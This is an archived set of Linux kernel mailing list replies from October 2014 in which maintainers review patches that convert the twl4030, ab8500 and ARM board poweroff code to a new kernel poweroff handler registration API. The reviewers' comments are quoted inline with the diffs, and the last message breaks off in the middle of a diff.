NNTP-Posting-Date: Tue, 7 Oct 2014 07:53:03 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org,
	adi-buildroot-devel@lists.sourceforge.net,
	devel@driverdev.osuosl.org, devicetree@vger.kernel.org,
	lguest@lists.ozlabs.org, linux-acpi@vger.kernel.org,
	linux-alpha@vger.kernel.org, linux-am33-list@redhat.com,
	linux-cris-kernel@axis.com, linux-efi@vger.kernel.org,
	linux-hexagon@vger.kernel.org, linux-m32r-ja@ml.linux-m32r.org,
	linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
	linux-tegra@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	openipmi-developer@lists.sourceforge.net,
	user-mode-linux-devel@lists.sourceforge.net,
	linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
	linux-ia64@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	linux-metag@vger.kernel.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linux-pm@vger.kernel.org,
	linux-sh@vger.kernel.org, xen-devel@lists.xenproject.org,
	Samuel Ortiz <same
To: Guenter Roeck <linux@roeck-us.net>
Original-X-From: linux-alpha-owner@vger.kernel.org Tue Oct 07 09:52:55 2014
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1XbPZj-0006bn-W1
	for lnx-linux-alpha@plane.gmane.org; Tue, 07 Oct 2014 09:52:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753256AbaJGHwt convert rfc822-to-quoted-printable (ORCPT
	<rfc822;lnx-linux-alpha@m.gmane.org>); Tue, 7 Oct 2014 03:52:49 -0400
Original-Received: from mail-ie0-f172.google.com ([209.85.223.172]:49519 "EHLO
	mail-ie0-f172.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752784AbaJGHwr (ORCPT
	<rfc822;linux-alpha@vger.kernel.org>); Tue, 7 Oct 2014 03:52:47 -0400
Original-Received: by mail-ie0-f172.google.com with SMTP id rl12so4831460iec.31
        for <linux-alpha@vger.kernel.org>; Tue, 07 Oct 2014 00:52:46 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:references
         :mime-version:content-type:content-disposition
         :content-transfer-encoding:in-reply-to:user-agent;
        bh=+auz6WJ8RkQR71wTNzglwUDDFzMINOhPs6uufeylVyU=;
        b=ZXt/OH9MCFQ82uS5W5HtL++TD7Sq9l0lVGsjzrrf5TrawScIcfcPZBHvljXWzivU0R
         WiEdkhl5EN24BHBjQZNl/ggQJh6Ab6qdXDvOEYhX54vunmdWaC+kETb8hot6diZ9Kxt5
         KrUoQwPgqvgDNdr1ig5/XGb7UmOR3w7bbfrM5CgzTGwK4N1R5etmxzw1rTPaKU7C4046
         mdDrJd6Dj0mWefq1rhMyJIG2Xl1+bm1B8b5I7QVibWjXxWYZlYwV/UGBEF86uIGh6vIP
         dy6qX2ZAjezD7INAA5IFPvQjk1K4ZESHKjVR0YnytAb/8BMBXeCY5YJs/qdDFsceIwaV
         VpBA==
X-Gm-Message-State: ALoCoQlr5PaI0pJ1YtaiA73UVqIcFWLclJFiAi6eate7pINdrzC63vopKOihwH72PQTtP2ggCaSW
X-Received: by 10.50.30.102 with SMTP id r6mr2943915igh.18.1412668366477;
        Tue, 07 Oct 2014 00:52:46 -0700 (PDT)
Original-Received: from lee--X1 (host109-148-233-9.range109-148.btcentralplus.com. [109.148.233.9])
        by mx.google.com with ESMTPSA id m7sm1922290igj.18.2014.10.07.00.52.41
        for <multiple recipients>
        (version=TLSv1.2 cipher=RC4-SHA bits=128/128);
        Tue, 07 Oct 2014 00:52:45 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <1412659726-29957-19-git-send-email-linux@roeck-us.net>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:2471 gmane.linux.kernel:1802510 gmane.linux.drivers.devicetree:93073 gmane.linux.kernel.virtualization.lguest:1486 gmane.linux.acpi.devel:71300 gmane.linux.kernel.efi:4755 gmane.linux.ports.hexagon:818 gmane.linux.ports.ppc64.devel:105903 gmane.linux.ports.tegra:19500 gmane.linux.kernel.openipmi:2477 gmane.linux.uml.devel:14690 gmane.linux.ports.arm.kernel:362377 gmane.linux.ports.ia64:24507 gmane.linux.kernel.metag:338 gmane.linux.ports.mips.general:44188 gmane.linux.ports.parisc:6113 gmane.linux.power-management.general:50645 gmane.linux.ports.sh.devel:39813
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/2471>

On Mon, 06 Oct 2014, Guenter Roeck wrote:

> Register with kernel poweroff handler instead of setting pm_power_off
> directly. Register with a low priority value of 64 to reflect that
> the original code only sets pm_power_off if it was not already set.
>=20
> Make twl4030_power_off static as it is only called from the twl4030-p=
ower
> driver.
>=20
> Cc: Samuel Ortiz <sameo@linux.intel.com>
> Cc: Lee Jones <lee.jones@linaro.org>
> Signed-off-by: Guenter Roeck <linux@roeck-us.net>
> ---
>  drivers/mfd/twl4030-power.c | 25 +++++++++++++++++++++----
>  include/linux/i2c/twl.h     |  1 -
>  2 files changed, 21 insertions(+), 5 deletions(-)
>=20
> diff --git a/drivers/mfd/twl4030-power.c b/drivers/mfd/twl4030-power.=
c
> index 4d3ff37..bd6b830 100644
> --- a/drivers/mfd/twl4030-power.c
> +++ b/drivers/mfd/twl4030-power.c
> @@ -25,9 +25,10 @@
>   */
> =20
>  #include <linux/module.h>
> -#include <linux/pm.h>
> +#include <linux/notifier.h>
>  #include <linux/i2c/twl.h>
>  #include <linux/platform_device.h>
> +#include <linux/pm.h>
>  #include <linux/of.h>
>  #include <linux/of_device.h>
> =20
> @@ -611,7 +612,8 @@ twl4030_power_configure_resources(const struct tw=
l4030_power_data *pdata)
>   * After a successful execution, TWL shuts down the power to the SoC
>   * and all peripherals connected to it.
>   */
> -void twl4030_power_off(void)
> +static int twl4030_power_off(struct notifier_block *this, unsigned l=
ong unused1,
> +			     void *unused2)
>  {
>  	int err;
> =20
> @@ -619,8 +621,15 @@ void twl4030_power_off(void)
>  			       TWL4030_PM_MASTER_P1_SW_EVENTS);
>  	if (err)
>  		pr_err("TWL4030 Unable to power off\n");
> +
> +	return NOTIFY_DONE;
>  }
> =20
> +static struct notifier_block twl4030_poweroff_nb =3D {
> +	.notifier_call =3D twl4030_power_off,
> +	.priority =3D 64,

64 out of what?  How is this calculated?  Wouldn't it be better to
define these?

> +};
> +
>  static bool twl4030_power_use_poweroff(const struct twl4030_power_da=
ta *pdata,
>  					struct device_node *node)
>  {
> @@ -836,7 +845,7 @@ static int twl4030_power_probe(struct platform_de=
vice *pdev)
>  	}
> =20
>  	/* Board has to be wired properly to use this feature */
> -	if (twl4030_power_use_poweroff(pdata, node) && !pm_power_off) {
> +	if (twl4030_power_use_poweroff(pdata, node)) {
>  		/* Default for SEQ_OFFSYNC is set, lets ensure this */
>  		err =3D twl_i2c_read_u8(TWL_MODULE_PM_MASTER, &val,
>  				      TWL4030_PM_MASTER_CFG_P123_TRANSITION);
> @@ -853,7 +862,13 @@ static int twl4030_power_probe(struct platform_d=
evice *pdev)
>  			}
>  		}
> =20
> -		pm_power_off =3D twl4030_power_off;
> +		err =3D register_poweroff_handler(&twl4030_poweroff_nb);
> +		if (err) {
> +			dev_err(&pdev->dev,
> +				"Failed to register poweroff handler\n");

If this is not fatal, you should issue a dev_warn() instead.

> +			/* Not a fatal error */
> +			err =3D 0;

How about using your own variable for this?  Then you don't have to
worry about resetting it.

> +		}
>  	}
> =20
>  relock:
> @@ -869,6 +884,8 @@ relock:
> =20
>  static int twl4030_power_remove(struct platform_device *pdev)
>  {
> +	unregister_poweroff_handler(&twl4030_poweroff_nb);

Perhaps a naive question, but is there any way you can do this using
devres (devm_* managed resources)?

>  	return 0;
>  }
> =20
> diff --git a/include/linux/i2c/twl.h b/include/linux/i2c/twl.h
> index 8cfb50f..f8544f1 100644
> --- a/include/linux/i2c/twl.h
> +++ b/include/linux/i2c/twl.h
> @@ -680,7 +680,6 @@ struct twl4030_power_data {
>  };
> =20
>  extern int twl4030_remove_script(u8 flags);
> -extern void twl4030_power_off(void);
> =20
>  struct twl4030_codec_data {
>  	unsigned int digimic_delay; /* in ms */

--=20
Lee Jones
Linaro STMicroelectronics Landing Team Lead
Linaro.org =E2=94=82 Open source software for ARM SoCs
=46ollow Linaro: Facebook | Twitter | Blog
--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" =
in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Lee Jones <lee.jones@linaro.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.virtualization.lguest,gmane.linux.acpi.devel,gmane.linux.ports.alpha,gmane.linux.kernel.efi,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.uml.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.power-management.general,gmane.linux.ports.sh.devel
Subject: Re: [PATCH 12/44] mfd: ab8500-sysctrl: Register with kernel poweroff
 handler
Date: Tue, 7 Oct 2014 09:00:48 +0100
Lines: 62
Approved: news@gmane.org
Message-ID: <20141007080048.GB25331@lee--X1>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
 <1412659726-29957-13-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1412668873 2111 80.91.229.3 (7 Oct 2014 08:01:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Oct 2014 08:01:13 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org,
	adi-buildroot-devel@lists.sourceforge.net,
	devel@driverdev.osuosl.org, devicetree@vger.kernel.org,
	lguest@lists.ozlabs.org, linux-acpi@vger.kernel.org,
	linux-alpha@vger.kernel.org, linux-am33-list@redhat.com,
	linux-cris-kernel@axis.com, linux-efi@vger.kernel.org,
	linux-hexagon@vger.kernel.org, linux-m32r-ja@ml.linux-m32r.org,
	linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
	linux-tegra@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	openipmi-developer@lists.sourceforge.net,
	user-mode-linux-devel@lists.sourceforge.net,
	linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
	linux-ia64@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	linux-metag@vger.kernel.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linux-pm@vger.kernel.org,
	linux-sh@vger.kernel.org, xen-devel@lists.xenproject.org,
	Linus Walleij <lin
To: Guenter Roeck <linux@roeck-us.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Oct 07 10:01:01 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1XbPhc-0001PN-Ei
	for glpp-linux-parisc@plane.gmane.org; Tue, 07 Oct 2014 10:01:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753335AbaJGIA7 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 7 Oct 2014 04:00:59 -0400
Original-Received: from mail-ig0-f174.google.com ([209.85.213.174]:40500 "EHLO
	mail-ig0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752762AbaJGIA5 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 7 Oct 2014 04:00:57 -0400
Original-Received: by mail-ig0-f174.google.com with SMTP id l13so3774107iga.13
        for <linux-parisc@vger.kernel.org>; Tue, 07 Oct 2014 01:00:57 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:references
         :mime-version:content-type:content-disposition
         :content-transfer-encoding:in-reply-to:user-agent;
        bh=fbO0x+dbtEI+osNOFoN6mlB2Ti38IfEik6IoHTaZtD4=;
        b=i0ZN17LPGo3Dgqd/0q5VmN64SsvX39zPr2A5zQuxcOF9vJ1a+00G608du/Kwz0pbxk
         ebGcc5Nr7/SudGCU5CVoBGdH3Zj1Nl0zaxBK4xXyz5qwxmFVq/Jrfd4u24AxqaA6RyIh
         eqygXNlXLHdxHizYlZnnwvqrItaRUzk84T9qbSCny0Mxw9bwXGHt90UJG60QMF3DZUAy
         xuW2bSsZ/eG7RsskVVQnTlrq1muR368wUXUXtzAVBjwvZ3YoXkwHXiPhLHiEKOEGGzKg
         /Ezza1CPZx1uZbE6IisTGa9B3oqzChOW2m74Bf7mhFCAG31/2LM63Y9mLsB9guMCaUid
         V4Hg==
X-Gm-Message-State: ALoCoQmT4z/+oLD9pP0Ac2KAju+FXssuTdZHXxQYKvdQsVMGMG+fJczIOrdv4OOS6IAlSn7a8Mja
X-Received: by 10.42.61.137 with SMTP id u9mr2520721ich.54.1412668857025;
        Tue, 07 Oct 2014 01:00:57 -0700 (PDT)
Original-Received: from lee--X1 (host109-148-233-9.range109-148.btcentralplus.com. [109.148.233.9])
        by mx.google.com with ESMTPSA id j2sm11554920igm.21.2014.10.07.01.00.51
        for <multiple recipients>
        (version=TLSv1.2 cipher=RC4-SHA bits=128/128);
        Tue, 07 Oct 2014 01:00:56 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <1412659726-29957-13-git-send-email-linux@roeck-us.net>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:6114 gmane.linux.kernel:1802513 gmane.linux.drivers.devicetree:93075 gmane.linux.kernel.virtualization.lguest:1487 gmane.linux.acpi.devel:71301 gmane.linux.ports.alpha:2472 gmane.linux.kernel.efi:4756 gmane.linux.ports.hexagon:819 gmane.linux.ports.ppc64.devel:105904 gmane.linux.ports.tegra:19501 gmane.linux.kernel.openipmi:2478 gmane.linux.uml.devel:14691 gmane.linux.ports.arm.kernel:362383 gmane.linux.ports.ia64:24508 gmane.linux.kernel.metag:339 gmane.linux.ports.mips.general:44189 gmane.linux.power-management.general:50646 gmane.linux.ports.sh.devel:39814
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/6114>

On Mon, 06 Oct 2014, Guenter Roeck wrote:

> Register with kernel poweroff handler instead of setting pm_power_off
> directly. Register with a low priority value of 64 to reflect that
> the original code only sets pm_power_off if it was not already set.
>=20
> Cc: Linus Walleij <linus.walleij@linaro.org>
> Cc: Lee Jones <lee.jones@linaro.org>
> Cc: Samuel Ortiz <sameo@linux.intel.com>
> Signed-off-by: Guenter Roeck <linux@roeck-us.net>
> ---
>  drivers/mfd/ab8500-sysctrl.c | 26 +++++++++++++++-----------
>  1 file changed, 15 insertions(+), 11 deletions(-)
>=20
> diff --git a/drivers/mfd/ab8500-sysctrl.c b/drivers/mfd/ab8500-sysctr=
l.c
> index 8e0dae5..677438f 100644
> --- a/drivers/mfd/ab8500-sysctrl.c
> +++ b/drivers/mfd/ab8500-sysctrl.c
> @@ -6,6 +6,7 @@

[...]

> +static int ab8500_power_off(struct notifier_block *this, unsigned lo=
ng unused1,
> +			    void *unused2)
>  {
>  	sigset_t old;
>  	sigset_t all;
> @@ -34,11 +36,6 @@ static void ab8500_power_off(void)
>  	struct power_supply *psy;
>  	int ret;
> =20
> -	if (sysctrl_dev =3D=3D NULL) {
> -		pr_err("%s: sysctrl not initialized\n", __func__);
> -		return;
> -	}

Can you explain the purpose of this change please?

>  	/*
>  	 * If we have a charger connected and we're powering off,
>  	 * reboot into charge-only mode.
> @@ -83,8 +80,15 @@ shutdown:
>  					 AB8500_STW4500CTRL1_SWRESET4500N);
>  		(void)sigprocmask(SIG_SETMASK, &old, NULL);
>  	}
> +
> +	return NOTIFY_DONE;
>  }

--=20
Lee Jones
Linaro STMicroelectronics Landing Team Lead
Linaro.org =E2=94=82 Open source software for ARM SoCs
=46ollow Linaro: Facebook | Twitter | Blog
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Nicolas Ferre <nicolas.ferre@atmel.com>
Newsgroups: gmane.linux.acpi.devel,gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.virtualization.lguest,gmane.linux.ports.alpha,gmane.linux.kernel.efi,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.uml.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.ports.sh.devel
Subject: Re: [PATCH 31/44] arm: Register with kernel poweroff handler
Date: Tue, 7 Oct 2014 10:04:20 +0200
Organization: atmel
Lines: 726
Approved: news@gmane.org
Message-ID: <54339E84.2070805@atmel.com>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net> <1412659726-29957-32-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1412669091 4643 80.91.229.3 (7 Oct 2014 08:04:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Oct 2014 08:04:51 +0000 (UTC)
Cc: <adi-buildroot-devel@lists.sourceforge.net>,
	<devel@driverdev.osuosl.org>, <devicetree@vger.kernel.org>,
	<lguest@lists.ozlabs.org>, <linux-acpi@vger.kernel.org>,
	<linux-alpha@vger.kernel.org>, <linux-am33-list@redhat.com>,
	<linux-cris-kernel@axis.com>, <linux-efi@vger.kernel.org>,
	<linux-hexagon@vger.kernel.org>, <linux-m32r-ja@ml.linux-m32r.org>,
	<linuxppc-dev@lists.ozlabs.org>, <linux-s390@vger.kernel.org>,
	<linux-tegra@vger.kernel.org>, <linux-xtensa@linux-xtensa.org>,
	<openipmi-developer@lists.sourceforge.net>,
	<user-mode-linux-devel@lists.sourceforge.net>,
	<linux-arm-kernel@lists.infradead.org>,
	<linux-c6x-dev@linux-c6x.org>, <linux-ia64@vger.kernel.org>,
	<linux-m68k@lists.linux-m68k.org>, <linux-metag@vger.kernel.org>,
	<linux-mips@linux-mips.org>, <linux-parisc@vger.kernel.org>,
	<linux-pm@vger.kernel.org>, <linux-sh@vger.kernel.org>,
	<xen-devel@lists.xenproject.o
To: Guenter Roeck <linux@roeck-us.net>, <linux-kernel@vger.kernel.org>,
	Alexandre Belloni <alexandre.belloni@free-electrons.com>,
	Boris BREZILLON <boris.brezillon@free-electrons.com>
Original-X-From: linux-acpi-owner@vger.kernel.org Tue Oct 07 10:04:38 2014
Return-path: <linux-acpi-owner@vger.kernel.org>
Envelope-to: glad-acpi-devel@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-acpi-owner@vger.kernel.org>)
	id 1XbPl6-0003i7-62
	for glad-acpi-devel@plane.gmane.org; Tue, 07 Oct 2014 10:04:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753032AbaJGIEe (ORCPT <rfc822;glad-acpi-devel@m.gmane.org>);
	Tue, 7 Oct 2014 04:04:34 -0400
Original-Received: from eusmtp01.atmel.com ([212.144.249.243]:24682 "EHLO
	eusmtp01.atmel.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752961AbaJGIE1 (ORCPT
	<rfc822;linux-acpi@vger.kernel.org>); Tue, 7 Oct 2014 04:04:27 -0400
Original-Received: from HNOCHT01.corp.atmel.com (10.161.30.161) by eusmtp01.atmel.com
 (10.161.101.31) with Microsoft SMTP Server (TLS) id 14.2.347.0; Tue, 7 Oct
 2014 10:04:23 +0200
Original-Received: from [10.159.245.112] (10.161.30.18) by HNOCHT01.corp.atmel.com
 (10.161.30.161) with Microsoft SMTP Server (TLS) id 14.2.342.3; Tue, 7 Oct
 2014 10:04:22 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0
In-Reply-To: <1412659726-29957-32-git-send-email-linux@roeck-us.net>
X-Enigmail-Version: 1.5.2
X-Originating-IP: [10.161.30.18]
Original-Sender: linux-acpi-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-acpi.vger.kernel.org>
X-Mailing-List: linux-acpi@vger.kernel.org
Xref: news.gmane.org gmane.linux.acpi.devel:71302 gmane.linux.kernel:1802514 gmane.linux.drivers.devicetree:93076 gmane.linux.kernel.virtualization.lguest:1488 gmane.linux.ports.alpha:2473 gmane.linux.kernel.efi:4757 gmane.linux.ports.hexagon:820 gmane.linux.ports.ppc64.devel:105905 gmane.linux.ports.tegra:19502 gmane.linux.kernel.openipmi:2479 gmane.linux.uml.devel:14692 gmane.linux.ports.arm.kernel:362384 gmane.linux.ports.ia64:24509 gmane.linux.kernel.metag:340 gmane.linux.ports.mips.general:44190 gmane.linux.ports.parisc:6115 gmane.linux.power-management.general:50647 gmane.linux.ports.sh.devel:39815
Archived-At: <http://permalink.gmane.org/gmane.linux.acpi.devel/71302>

On 07/10/2014 07:28, Guenter Roeck :
> Register with kernel poweroff handler instead of setting pm_power_off
> directly. Always use register_poweroff_handler_simple as there is no
> indication that more than one poweroff handler is registered.
> 
> If the poweroff handler only resets the system or puts the CPU in sleep mode,
> select a priority of 0 to indicate that the poweroff handler is one of last
> resort. If the poweroff handler powers off the system, select a priority
> of 128.
> 
> Cc: Russell King <linux@arm.linux.org.uk>
> Cc: Andrew Victor <linux@maxim.org.za>
> Cc: Nicolas Ferre <nicolas.ferre@atmel.com>
> Cc: Jean-Christophe Plagniol-Villard <plagnioj@jcrosoft.com>
> Cc: Stephen Warren <swarren@wwwdotorg.org>
> Cc: Christian Daudt <bcm@fixthebug.org>
> Cc: Matt Porter <mporter@linaro.org>
> Cc: Anton Vorontsov <anton@enomsg.org>
> Cc: Rob Herring <robh@kernel.org>
> Cc: Shawn Guo <shawn.guo@freescale.com>
> Cc: Sascha Hauer <kernel@pengutronix.de>
> Cc: Imre Kaloz <kaloz@openwrt.org>
> Cc: Krzysztof Halasa <khc@pm.waw.pl>
> Cc: Tony Lindgren <tony@atomide.com>
> Cc: Jason Cooper <jason@lakedaemon.net>
> Cc: Andrew Lunn <andrew@lunn.ch>
> Cc: Sebastian Hesselbarth <sebastian.hesselbarth@gmail.com>
> Cc: Eric Miao <eric.y.miao@gmail.com>
> Cc: Haojian Zhuang <haojian.zhuang@gmail.com>
> Cc: Robert Jarzmik <robert.jarzmik@free.fr>
> Cc: Marek Vasut <marek.vasut@gmail.com>
> Cc: Ben Dooks <ben-linux@fluff.org>
> Cc: Kukjin Kim <kgene.kim@samsung.com>
> Cc: Linus Walleij <linus.walleij@linaro.org>
> Cc: Tony Prisk <linux@prisktech.co.nz>
> Cc: Stefano Stabellini <stefano.stabellini@eu.citrix.com>
> Signed-off-by: Guenter Roeck <linux@roeck-us.net>
> ---
>  arch/arm/kernel/psci.c                         | 2 +-


>  arch/arm/mach-at91/board-gsia18s.c             | 2 +-
>  arch/arm/mach-at91/setup.c                     | 4 ++--

For the 2 files above: NAK just because:
for the first one -> this file will be removed during 3.19 dev cycle.
for the second one -> the poweroff handlers are removed during the 3.18
cycle and converted in the appropriate poweroff drivers (in
drivers/power/reset/at91-poweroff.c).

So, can you remove these changes from your patch?

Thanks for your work, bye.

>  arch/arm/mach-bcm/board_bcm2835.c              | 2 +-
>  arch/arm/mach-cns3xxx/cns3420vb.c              | 2 +-
>  arch/arm/mach-cns3xxx/core.c                   | 2 +-
>  arch/arm/mach-highbank/highbank.c              | 2 +-
>  arch/arm/mach-imx/mach-mx31moboard.c           | 2 +-
>  arch/arm/mach-iop32x/em7210.c                  | 2 +-
>  arch/arm/mach-iop32x/glantank.c                | 2 +-
>  arch/arm/mach-iop32x/iq31244.c                 | 2 +-
>  arch/arm/mach-iop32x/n2100.c                   | 2 +-
>  arch/arm/mach-ixp4xx/dsmg600-setup.c           | 2 +-
>  arch/arm/mach-ixp4xx/nas100d-setup.c           | 2 +-
>  arch/arm/mach-ixp4xx/nslu2-setup.c             | 2 +-
>  arch/arm/mach-omap2/board-omap3touchbook.c     | 2 +-
>  arch/arm/mach-orion5x/board-mss2.c             | 2 +-
>  arch/arm/mach-orion5x/dns323-setup.c           | 6 +++---
>  arch/arm/mach-orion5x/kurobox_pro-setup.c      | 2 +-
>  arch/arm/mach-orion5x/ls-chl-setup.c           | 2 +-
>  arch/arm/mach-orion5x/ls_hgl-setup.c           | 2 +-
>  arch/arm/mach-orion5x/lsmini-setup.c           | 2 +-
>  arch/arm/mach-orion5x/mv2120-setup.c           | 2 +-
>  arch/arm/mach-orion5x/net2big-setup.c          | 2 +-
>  arch/arm/mach-orion5x/terastation_pro2-setup.c | 2 +-
>  arch/arm/mach-orion5x/ts209-setup.c            | 2 +-
>  arch/arm/mach-orion5x/ts409-setup.c            | 2 +-
>  arch/arm/mach-pxa/corgi.c                      | 2 +-
>  arch/arm/mach-pxa/mioa701.c                    | 2 +-
>  arch/arm/mach-pxa/poodle.c                     | 2 +-
>  arch/arm/mach-pxa/spitz.c                      | 2 +-
>  arch/arm/mach-pxa/tosa.c                       | 2 +-
>  arch/arm/mach-pxa/viper.c                      | 2 +-
>  arch/arm/mach-pxa/z2.c                         | 6 +++---
>  arch/arm/mach-pxa/zeus.c                       | 6 +++---
>  arch/arm/mach-s3c24xx/mach-gta02.c             | 2 +-
>  arch/arm/mach-s3c24xx/mach-jive.c              | 2 +-
>  arch/arm/mach-s3c24xx/mach-vr1000.c            | 2 +-
>  arch/arm/mach-s3c64xx/mach-smartq.c            | 2 +-
>  arch/arm/mach-sa1100/generic.c                 | 2 +-
>  arch/arm/mach-sa1100/simpad.c                  | 2 +-
>  arch/arm/mach-u300/regulator.c                 | 2 +-
>  arch/arm/mach-vt8500/vt8500.c                  | 2 +-
>  arch/arm/xen/enlighten.c                       | 2 +-
>  44 files changed, 51 insertions(+), 51 deletions(-)
> 
> diff --git a/arch/arm/kernel/psci.c b/arch/arm/kernel/psci.c
> index f73891b..dd58d86 100644
> --- a/arch/arm/kernel/psci.c
> +++ b/arch/arm/kernel/psci.c
> @@ -264,7 +264,7 @@ static int psci_0_2_init(struct device_node *np)
>  
>  	arm_pm_restart = psci_sys_reset;
>  
> -	pm_power_off = psci_sys_poweroff;
> +	register_poweroff_handler_simple(psci_sys_poweroff, 128);
>  
>  out_put_node:
>  	of_node_put(np);
> diff --git a/arch/arm/mach-at91/board-gsia18s.c b/arch/arm/mach-at91/board-gsia18s.c
> index b729dd1..6722e66 100644
> --- a/arch/arm/mach-at91/board-gsia18s.c
> +++ b/arch/arm/mach-at91/board-gsia18s.c
> @@ -521,7 +521,7 @@ static void gsia18s_power_off(void)
>  
>  static int __init gsia18s_power_off_init(void)
>  {
> -	pm_power_off = gsia18s_power_off;
> +	register_poweroff_handler_simple(gsia18s_power_off, 128);
>  	return 0;
>  }
>  
> diff --git a/arch/arm/mach-at91/setup.c b/arch/arm/mach-at91/setup.c
> index f7a07a5..9989e88 100644
> --- a/arch/arm/mach-at91/setup.c
> +++ b/arch/arm/mach-at91/setup.c
> @@ -329,7 +329,7 @@ void __init at91_ioremap_shdwc(u32 base_addr)
>  	at91_shdwc_base = ioremap(base_addr, 16);
>  	if (!at91_shdwc_base)
>  		panic("Impossible to ioremap at91_shdwc_base\n");
> -	pm_power_off = at91sam9_poweroff;
> +	register_poweroff_handler_simple(at91sam9_poweroff, 128);
>  }
>  
>  void __iomem *at91_rstc_base;
> @@ -482,7 +482,7 @@ static void at91_dt_shdwc(void)
>  	at91_shdwc_write(AT91_SHDW_MR, wakeup_mode | mode);
>  
>  end:
> -	pm_power_off = at91sam9_poweroff;
> +	register_poweroff_handler_simple(at91sam9_poweroff, 128);
>  
>  	of_node_put(np);
>  }
> diff --git a/arch/arm/mach-bcm/board_bcm2835.c b/arch/arm/mach-bcm/board_bcm2835.c
> index 70f2f39..7d5784f 100644
